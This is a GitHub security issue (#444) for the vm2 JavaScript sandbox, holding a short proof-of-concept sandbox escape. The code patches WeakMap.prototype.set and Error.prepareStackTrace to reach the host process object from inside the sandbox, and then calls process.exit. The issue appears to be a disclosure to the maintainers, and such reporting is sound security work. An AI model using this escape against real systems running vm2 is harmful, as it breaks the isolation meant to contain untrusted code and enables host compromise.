Skip to content

Security Issue #444

@ghost

Description

const { VM } = require('vm2');
new VM().run(`
  const { set } = WeakMap.prototype;
  WeakMap.prototype.set = function(v) {
    return set.call(this, v, v);
  };
  Error.prepareStackTrace =
  Error.prepareStackTrace =
  (_, c) => c.map(c => c.getThis()).find(a => a);
  const { stack } = new Error();
  Error.prepareStackTrace = undefined;
  stack.process.exit(1);
`);

// Never gets executed.
console.log('Finished');

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions